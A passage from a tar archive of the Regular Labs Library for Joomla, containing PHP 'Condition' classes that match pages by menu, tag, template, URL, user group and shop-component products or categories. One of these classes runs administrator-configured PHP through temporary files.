public function pass()
{
if ($this->request->option != 'com_k2')
{
return $this->_(false);
}
$tag =
trim(JFactory::getApplication()->input->getString('tag',
''));
$pass = (
($this->params->inc_tags && $tag != '')
|| ($this->params->inc_items && $this->request->view
== 'item')
);
if ( ! $pass)
{
return $this->_(false);
}
if ($this->params->inc_tags && $tag != '')
{
$tags =
[trim(JFactory::getApplication()->input->getString('tag',
''))];
return $this->passSimple($tags, true);
}
$query = $this->db->getQuery(true)
->select('t.name')
->from('#__k2_tags_xref AS x')
->join('LEFT', '#__k2_tags AS t ON t.id =
x.tagID')
->where('x.itemID = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
return $this->passSimple($tags, true);
}
}
src/Condition/Language.php000064400000001236151165347420011527
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Language
* @package RegularLabs\Library\Condition
*/
class Language
extends \RegularLabs\Library\Condition
{
public function pass()
{
return $this->passSimple(JFactory::getLanguage()->getTag(), true);
}
}
src/Condition/Menu.php000064400000004436151165347420010715 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\Document as RL_Document;
/**
* Class Menu
* @package RegularLabs\Library\Condition
*/
class Menu
extends \RegularLabs\Library\Condition
{
public function pass()
{
// return if no Itemid or selection is set
if ( ! $this->request->Itemid || empty($this->selection))
{
return $this->_($this->params->inc_noitemid);
}
// return true if menu is in selection
if (in_array($this->request->Itemid, $this->selection))
{
return $this->_(($this->params->inc_children != 2));
}
$menutype = 'type.' . self::getMenuType();
// return true if menu type is in selection
if (in_array($menutype, $this->selection))
{
return $this->_(true);
}
if ( ! $this->params->inc_children)
{
return $this->_(false);
}
$parent_ids = $this->getMenuParentIds($this->request->Itemid);
$parent_ids = array_diff($parent_ids, [1]);
foreach ($parent_ids as $id)
{
if ( ! in_array($id, $this->selection))
{
continue;
}
return $this->_(true);
}
return $this->_(false);
}
private function getMenuParentIds($id = 0)
{
return $this->getParentIds($id, 'menu');
}
private function getMenuType()
{
if (isset($this->request->menutype))
{
return $this->request->menutype;
}
if (empty($this->request->Itemid))
{
$this->request->menutype = '';
return $this->request->menutype;
}
if (RL_Document::isClient('site'))
{
$menu = JFactory::getApplication()->getMenu()->getItem((int)
$this->request->Itemid);
$this->request->menutype = isset($menu->menutype) ?
$menu->menutype : '';
return $this->request->menutype;
}
$query = $this->db->getQuery(true)
->select('m.menutype')
->from('#__menu AS m')
->where('m.id = ' . (int) $this->request->Itemid);
$this->db->setQuery($query);
$this->request->menutype = $this->db->loadResult();
return $this->request->menutype;
}
}
src/Condition/Mijoshop.php000064400000002535151165347420011577
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use MijoShop as MijoShopClass;
/**
* Class Mijoshop
* @package RegularLabs\Library\Condition
*/
abstract class Mijoshop
extends \RegularLabs\Library\Condition
{
public function initRequest(&$request)
{
$input = JFactory::getApplication()->input;
$category_id = $input->getCmd('path', 0);
if (strpos($category_id, '_'))
{
$category_id = end(explode('_', $category_id));
}
$request->item_id = $input->getInt('product_id', 0);
$request->category_id = $category_id;
$request->id = $request->item_id ?:
$request->category_id;
$view = $input->getCmd('view', '');
if (empty($view))
{
$mijoshop = JPATH_ROOT .
'/components/com_mijoshop/mijoshop/mijoshop.php';
if ( ! file_exists($mijoshop))
{
return;
}
require_once $mijoshop;
$route = $input->getString('route', '');
$view = MijoShopClass::get('router')->getView($route);
}
$request->view = $view;
}
}
src/Condition/MijoshopCategory.php000064400000003433151165347420013273
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class MijoshopCategory
* @package RegularLabs\Library\Condition
*/
class MijoshopCategory
extends Mijoshop
{
public function pass()
{
if ($this->request->option != 'com_mijoshop')
{
return $this->_(false);
}
$pass = (
($this->params->inc_categories
&& ($this->request->view == 'category')
)
|| ($this->params->inc_items && $this->request->view
== 'product')
);
if ( ! $pass)
{
return $this->_(false);
}
$cats = $this->getCats();
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->_(false);
}
if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCats()
{
if ($this->request->category_id)
{
return $this->makeArray($this->request->category_id);
}
if ( ! $this->request->item_id)
{
return [];
}
$query = $this->db->getQuery(true)
->select('c.category_id')
->from('#__mijoshop_product_to_category AS c')
->where('c.product_id = ' . (int)
$this->request->id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
return $this->makeArray($cats);
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'mijoshop_category',
'parent_id', 'category_id');
}
}
src/Condition/MijoshopPagetype.php000064400000001213151165347420013266
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class MijoshopPagetype
* @package RegularLabs\Library\Condition
*/
class MijoshopPagetype
extends Mijoshop
{
public function pass()
{
return $this->passByPageType('com_mijoshop',
$this->selection, $this->include_type, true);
}
}
src/Condition/MijoshopProduct.php000064400000001356151165347420013140
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class MijoshopProduct
* @package RegularLabs\Library\Condition
*/
class MijoshopProduct
extends Mijoshop
{
public function pass()
{
if ( ! $this->request->id || $this->request->option !=
'com_mijoshop' || $this->request->view !=
'product')
{
return $this->_(false);
}
return $this->passSimple($this->request->id);
}
}
src/Condition/Php.php000064400000011630151165347420010532 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filesystem\File as JFile;
use Joomla\CMS\MVC\Model\BaseDatabaseModel as JModel;
use Joomla\CMS\Version;
use RegularLabs\Library\RegEx;
/**
* Class Php
* @package RegularLabs\Library\Condition
*/
class Php
extends \RegularLabs\Library\Condition
{
public function pass()
{
if ( ! is_array($this->selection))
{
$this->selection = [$this->selection];
}
$pass = false;
foreach ($this->selection as $php)
{
// replace \n with newline and other fix stuff
$php = str_replace('\|', '|', $php);
$php = RegEx::replace('(?<!\\\)\\\n', "\n",
$php);
$php = trim(str_replace('[:REGEX_ENTER:]', '\n',
$php));
if ($php == '')
{
$pass = true;
break;
}
ob_start();
$pass = (bool) $this->execute($php, $this->article,
$this->module);
ob_end_clean();
if ($pass)
{
break;
}
}
return $this->_($pass);
}
private function getArticleById($id = 0)
{
if ( ! $id)
{
return null;
}
if ( ! class_exists('ContentModelArticle'))
{
require_once JPATH_SITE .
'/components/com_content/models/article.php';
}
$model = JModel::getInstance('article',
'contentModel');
if ( ! method_exists($model, 'getItem'))
{
return null;
}
return $model->getItem($id);
}
public function execute($string = '', $article = null, $module =
null)
{
if ( ! $function_name = $this->getFunctionName($string))
{
// Something went wrong!
return true;
}
return $this->runFunction($function_name, $string, $article, $module);
}
private function runFunction($function_name = 'rl_function',
$string = '', $article = null, $module = null)
{
if ( ! $article && strpos($string, '$article') !==
false)
{
if ($this->request->option == 'com_content' &&
$this->request->view == 'article')
{
$article = $this->getArticleById($this->request->id);
}
}
return $function_name($article, $module);
}
private function getFunctionName($string = '')
{
$function_name = 'regularlabs_php_' . md5($string);
if (function_exists($function_name))
{
return $function_name;
}
$contents = $this->generateFileContents($function_name, $string);
self::createFunctionInMemory($contents);
if ( ! function_exists($function_name))
{
// Something went wrong!
return false;
}
return $function_name;
}
public static function createFunctionInMemory($string = '')
{
$file_name = getmypid() . '_' . md5($string);
$tmp_path = JFactory::getConfig()->get('tmp_path',
JPATH_ROOT . '/tmp');
$temp_file = $tmp_path . '/regularlabs' . '/' .
$file_name;
// Write file
if ( ! file_exists($temp_file) || is_writable($temp_file))
{
JFile::write($temp_file, $string);
}
// Include file
include_once $temp_file;
// Delete file
if ( ! JFactory::getApplication()->get('debug'))
{
@chmod($temp_file, 0777);
@unlink($temp_file);
}
}
private function generateFileContents($function_name =
'rl_function', $string = '')
{
$init_variables = self::getVarInits();
$contents = [
'<?php',
'defined(\'_JEXEC\') or die;',
'function ' . $function_name . '($article,
$module){',
implode("\n", $init_variables),
$string,
';return true;',
';}',
];
$contents = implode("\n", $contents);
// Remove Zero Width spaces / (non-)joiners
$contents = str_replace(
[
"\xE2\x80\x8B",
"\xE2\x80\x8C",
"\xE2\x80\x8D",
],
'',
$contents
);
return $contents;
}
public static function getVarInits()
{
return [
'$app = $mainframe =
RegularLabs\Library\Condition\Php::getApplication();',
'$document = $doc =
RegularLabs\Library\Condition\Php::getDocument();',
'$database = $db = JFactory::getDbo();',
'$user = JFactory::getUser();',
'$Itemid = $app->input->getInt(\'Itemid\');',
];
}
public static function getApplication()
{
if (JFactory::getApplication()->input->get('option') !=
'com_finder')
{
return JFactory::getApplication();
}
return CMSApplication::getInstance('site');
}
public static function getDocument()
{
if (JFactory::getApplication()->input->get('option') !=
'com_finder')
{
return JFactory::getDocument();
}
$lang = JFactory::getLanguage();
$version = new Version;
$attributes = [
'charset' => 'utf-8',
'lineend' => 'unix',
'tab' => "\t",
'language' => $lang->getTag(),
'direction' => $lang->isRtl() ? 'rtl' :
'ltr',
'mediaversion' => $version->getMediaVersion(),
];
return \JDocument::getInstance('html', $attributes);
}
}
src/Condition/Redshop.php000064400000001524151165347430011411
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Redshop
* @package RegularLabs\Library\Condition
*/
abstract class Redshop
extends \RegularLabs\Library\Condition
{
public function initRequest(&$request)
{
$request->item_id =
JFactory::getApplication()->input->getInt('pid', 0);
$request->category_id =
JFactory::getApplication()->input->getInt('cid', 0);
$request->id = $request->item_id ?:
$request->category_id;
}
}
src/Condition/RedshopCategory.php000064400000003353151165347430013111
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class RedshopCategory
* @package RegularLabs\Library\Condition
*/
class RedshopCategory
extends Redshop
{
public function pass()
{
if ($this->request->option != 'com_redshop')
{
return $this->_(false);
}
$pass = (
($this->params->inc_categories
&& ($this->request->view == 'category')
)
|| ($this->params->inc_items && $this->request->view
== 'product')
);
if ( ! $pass)
{
return $this->_(false);
}
$cats = [];
if ($this->request->category_id)
{
$cats = $this->request->category_id;
}
else if ($this->request->item_id)
{
$query = $this->db->getQuery(true)
->select('x.category_id')
->from('#__redshop_product_category_xref AS x')
->where('x.product_id = ' . (int)
$this->request->item_id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
}
$cats = $this->makeArray($cats);
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->_(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'redshop_category_xref',
'category_parent_id', 'category_child_id');
}
}
src/Condition/RedshopPagetype.php000064400000001207151165347430013106
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class RedshopPagetype
* @package RegularLabs\Library\Condition
*/
class RedshopPagetype
extends Redshop
{
public function pass()
{
return $this->passByPageType('com_redshop',
$this->selection, $this->include_type, true);
}
}
src/Condition/RedshopProduct.php000064400000001352151165347430012751
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class RedshopProduct
* @package RegularLabs\Library\Condition
*/
class RedshopProduct
extends Redshop
{
public function pass()
{
if ( ! $this->request->id || $this->request->option !=
'com_redshop' || $this->request->view !=
'product')
{
return $this->_(false);
}
return $this->passSimple($this->request->id);
}
}
src/Condition/Tag.php000064400000006074151165347430010525 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class Tag
* @package RegularLabs\Library\Condition
*/
class Tag
extends \RegularLabs\Library\Condition
{
public function pass()
{
if ( ! $this->request->id)
{
return $this->_(false);
}
if (in_array($this->request->option, ['com_content',
'com_flexicontent']))
{
return $this->passTagsContent();
}
if ($this->request->option != 'com_tags'
|| $this->request->view != 'tag'
)
{
return $this->_(false);
}
return $this->passTag($this->request->id);
}
private function passTagsContent()
{
$is_item = in_array($this->request->view, ['',
'article', 'item']);
$is_category = in_array($this->request->view,
['category']);
switch (true)
{
case ($is_item):
$prefix = 'com_content.article';
break;
case ($is_category):
$prefix = 'com_content.category';
break;
default:
return $this->_(false);
}
// Load the tags.
$query = $this->db->getQuery(true)
->select($this->db->quoteName('t.id'))
->select($this->db->quoteName('t.title'))
->from('#__tags AS t')
->join(
'INNER', '#__contentitem_tag_map AS m'
. ' ON m.tag_id = t.id'
. ' AND m.type_alias = ' . $this->db->quote($prefix)
. ' AND m.content_item_id = ' . (int)
$this->request->id
);
$this->db->setQuery($query);
$tags = $this->db->loadObjectList();
if (empty($tags))
{
return $this->_(false);
}
return $this->_($this->passTagList($tags));
}
private function passTagList($tags)
{
if ($this->params->match_all)
{
return $this->passTagListMatchAll($tags);
}
foreach ($tags as $tag)
{
if ( ! $this->passTag($tag->id) && !
$this->passTag($tag->title))
{
continue;
}
return true;
}
return false;
}
private function passTag($tag)
{
$pass = in_array($tag, $this->selection);
if ($pass)
{
// If passed, return false if assigned to only children
// Else return true
return ($this->params->inc_children != 2);
}
if ( ! $this->params->inc_children)
{
return false;
}
// Return true if a parent id is present in the selection
return array_intersect(
$this->getTagsParentIds($tag),
$this->selection
);
}
private function getTagsParentIds($id = 0)
{
$parentids = $this->getParentIds($id, 'tags');
// Remove the root tag
$parentids = array_diff($parentids, [1]);
return $parentids;
}
private function passTagListMatchAll($tags)
{
foreach ($this->selection as $id)
{
if ( ! $this->passTagMatchAll($id, $tags))
{
return false;
}
}
return true;
}
private function passTagMatchAll($id, $tags)
{
foreach ($tags as $tag)
{
if ($tag->id == $id || $tag->title == $id)
{
return true;
}
}
return false;
}
}
src/Condition/Template.php000064400000003640151165347430011561
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Template
* @package RegularLabs\Library\Condition
*/
class Template
extends \RegularLabs\Library\Condition
{
public function pass()
{
$template = $this->getTemplate();
// Put template name and name + style id into array
// The '::' separator was used in pre Joomla 3.3
$template = [$template->template, $template->template .
'--' . $template->id, $template->template . '::'
. $template->id];
return $this->passSimple($template, true);
}
public function getTemplate()
{
$template = JFactory::getApplication()->getTemplate(true);
if (isset($template->id))
{
return $template;
}
$params = json_encode($template->params);
// Find template style id based on params, as the template style id is
not always stored in the getTemplate
$query = $this->db->getQuery(true)
->select('id')
->from('#__template_styles AS s')
->where('s.client_id = 0')
->where('s.template = ' .
$this->db->quote($template->template))
->where('s.params = ' . $this->db->quote($params))
->setLimit(1);
$this->db->setQuery($query);
$template->id = $this->db->loadResult('id');
if ($template->id)
{
return $template;
}
// No template style id is found, so just grab the first result based on
the template name
$query->clear('where')
->where('s.client_id = 0')
->where('s.template = ' .
$this->db->quote($template->template))
->setLimit(1);
$this->db->setQuery($query);
$template->id = $this->db->loadResult('id');
return $template;
}
}
src/Condition/Url.php000064400000003213151165347430010544 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Uri\Uri as JUri;
use RegularLabs\Library\RegEx;
use RegularLabs\Library\StringHelper;
/**
* Class Url
* @package RegularLabs\Library\Condition
*/
class Url
extends \RegularLabs\Library\Condition
{
public function pass()
{
$regex = isset($this->params->regex) ? $this->params->regex :
false;
if ( ! is_array($this->selection))
{
$this->selection = explode("\n", $this->selection);
}
if (count($this->selection) == 1)
{
$this->selection = explode("\n", $this->selection[0]);
}
$url = JUri::getInstance();
$url = $url->toString();
$urls = [
StringHelper::html_entity_decoder(urldecode($url)),
urldecode($url),
StringHelper::html_entity_decoder($url),
$url,
];
$urls = array_unique($urls);
$pass = false;
foreach ($urls as $url)
{
foreach ($this->selection as $s)
{
$s = trim($s);
if ($s == '')
{
continue;
}
if ($regex)
{
$url_part = str_replace(['#', '&'],
['\#', '(&|&)'], $s);
if (@RegEx::match($url_part, $url))
{
$pass = true;
break;
}
continue;
}
if (strpos($url, $s) !== false)
{
$pass = true;
break;
}
}
if ($pass)
{
break;
}
}
return $this->_($pass);
}
}
src/Condition/User.php000064400000001027151165347440010722 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class User
* @package RegularLabs\Library\Condition
*/
abstract class User
extends \RegularLabs\Library\Condition
{
}
src/Condition/UserAccesslevel.php000064400000002702151165347440013075
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\DB as RL_DB;
/**
* Class UserAccesslevel
* @package RegularLabs\Library\Condition
*/
class UserAccesslevel
extends User
{
public function pass()
{
$user = JFactory::getUser();
$levels = $user->getAuthorisedViewLevels();
$this->selection =
$this->convertAccessLevelNamesToIds($this->selection);
return $this->passSimple($levels);
}
private function convertAccessLevelNamesToIds($selection)
{
$names = [];
foreach ($selection as $i => $level)
{
if (is_numeric($level))
{
continue;
}
unset($selection[$i]);
$names[] = strtolower(str_replace(' ', '', $level));
}
if (empty($names))
{
return $selection;
}
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from('#__viewlevels')
->where('LOWER(REPLACE(' .
$db->quoteName('title') . ', " ",
""))'
. RL_DB::in($names));
$db->setQuery($query);
$level_ids = $db->loadColumn();
return array_unique(array_merge($selection, $level_ids));
}
}
src/Condition/UserGrouplevel.php000064400000005616151165347440012777
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\DB as RL_DB;
/**
* Class UserGrouplevel
* @package RegularLabs\Library\Condition
*/
class UserGrouplevel
extends User
{
public function pass()
{
$user = JFactory::getUser();
if ( ! empty($user->groups))
{
$groups = array_values($user->groups);
}
else
{
$groups = $user->getAuthorisedGroups();
}
if ( ! $this->params->match_all &&
$this->params->inc_children)
{
$this->setUserGroupChildrenIds();
}
$this->selection =
$this->convertUsergroupNamesToIds($this->selection);
if ($this->params->match_all)
{
return $this->passMatchAll($groups);
}
return $this->passSimple($groups);
}
private function passMatchAll($groups)
{
$pass = ! array_diff($this->selection, $groups) && !
array_diff($groups, $this->selection);
return $this->_($pass);
}
private function convertUsergroupNamesToIds($selection)
{
$names = [];
foreach ($selection as $i => $group)
{
if (is_numeric($group))
{
continue;
}
unset($selection[$i]);
$names[] = strtolower(str_replace(' ', '', $group));
}
if (empty($names))
{
return $selection;
}
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from('#__usergroups')
->where('LOWER(REPLACE(' .
$db->quoteName('title') . ', " ",
""))'
. RL_DB::in($names));
$db->setQuery($query);
$group_ids = $db->loadColumn();
return array_unique(array_merge($selection, $group_ids));
}
private function setUserGroupChildrenIds()
{
$children = $this->getUserGroupChildrenIds($this->selection);
if ($this->params->inc_children == 2)
{
$this->selection = $children;
return;
}
$this->selection = array_merge($this->selection, $children);
}
private function getUserGroupChildrenIds($groups)
{
$children = [];
$db = JFactory::getDbo();
foreach ($groups as $group)
{
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__usergroups'))
->where($db->quoteName('parent_id') . ' = ' .
(int) $group);
$db->setQuery($query);
$group_children = $db->loadColumn();
if (empty($group_children))
{
continue;
}
$children = array_merge($children, $group_children);
$group_grand_children =
$this->getUserGroupChildrenIds($group_children);
if (empty($group_grand_children))
{
continue;
}
$children = array_merge($children, $group_grand_children);
}
$children = array_unique($children);
return $children;
}
}
src/Condition/UserUser.php000064400000001173151165347440011563
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class UserUser
* @package RegularLabs\Library\Condition
*/
class UserUser
extends User
{
public function pass()
{
return $this->passSimple(JFactory::getUser()->get('id'));
}
}
src/Condition/Virtuemart.php000064400000002122151165347440012143
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Virtuemart
* @package RegularLabs\Library\Condition
*/
abstract class Virtuemart
extends \RegularLabs\Library\Condition
{
public function initRequest(&$request)
{
$virtuemart_product_id =
JFactory::getApplication()->input->get('virtuemart_product_id',
[], 'array');
$virtuemart_category_id =
JFactory::getApplication()->input->get('virtuemart_category_id',
[], 'array');
$request->item_id = isset($virtuemart_product_id[0]) ?
$virtuemart_product_id[0] : null;
$request->category_id = isset($virtuemart_category_id[0]) ?
$virtuemart_category_id[0] : null;
$request->id = $request->item_id ?:
$request->category_id;
}
}
src/Condition/VirtuemartCategory.php000064400000005421151165347440013646
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\RegEx;
/**
* Class VirtuemartCategory
* @package RegularLabs\Library\Condition
*/
class VirtuemartCategory
extends Virtuemart
{
public function pass()
{
if ($this->request->option != 'com_virtuemart')
{
return $this->_(false);
}
// Because VM sucks, we have to get the view again
$this->request->view =
JFactory::getApplication()->input->getString('view');
$pass = (($this->params->inc_categories &&
in_array($this->request->view, ['categories',
'category']))
|| ($this->params->inc_items && $this->request->view
== 'productdetails')
);
if ( ! $pass)
{
return $this->_(false);
}
$cats = [];
if ($this->request->view == 'productdetails' &&
$this->request->item_id)
{
$query = $this->db->getQuery(true)
->select('x.virtuemart_category_id')
->from('#__virtuemart_product_categories AS x')
->where('x.virtuemart_product_id = ' . (int)
$this->request->item_id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
}
else if ($this->request->category_id)
{
$cats = $this->request->category_id;
if ( ! is_numeric($cats))
{
$query = $this->db->getQuery(true)
->select('config')
->from('#__virtuemart_configs')
->where('virtuemart_config_id = 1');
$this->db->setQuery($query);
$config = $this->db->loadResult();
$lang = substr($config, strpos($config, 'vmlang='));
$lang = substr($lang, 0, strpos($lang, '|'));
if (RegEx::match('"([^"]*_[^"]*)"',
$lang, $lang))
{
$lang = $lang[1];
}
else
{
$lang = 'en_gb';
}
$query = $this->db->getQuery(true)
->select('l.virtuemart_category_id')
->from('#__virtuemart_categories_' . $lang . ' AS
l')
->where('l.slug = ' . $this->db->quote($cats));
$this->db->setQuery($query);
$cats = $this->db->loadResult();
}
}
$cats = $this->makeArray($cats);
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->_(false);
}
if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id,
'virtuemart_category_categories', 'category_parent_id',
'category_child_id');
}
}
src/Condition/VirtuemartPagetype.php000064400000001475151165347440013654
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class VirtuemartPagetype
* @package RegularLabs\Library\Condition
*/
class VirtuemartPagetype
extends Virtuemart
{
public function pass()
{
// Because VM sucks, we have to get the view again
$this->request->view =
JFactory::getApplication()->input->getString('view');
return $this->passByPageType('com_virtuemart',
$this->selection, $this->include_type, true);
}
}
src/Condition/VirtuemartProduct.php000064400000001647151165347440013517
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class VirtuemartProduct
* @package RegularLabs\Library\Condition
*/
class VirtuemartProduct
extends Virtuemart
{
public function pass()
{
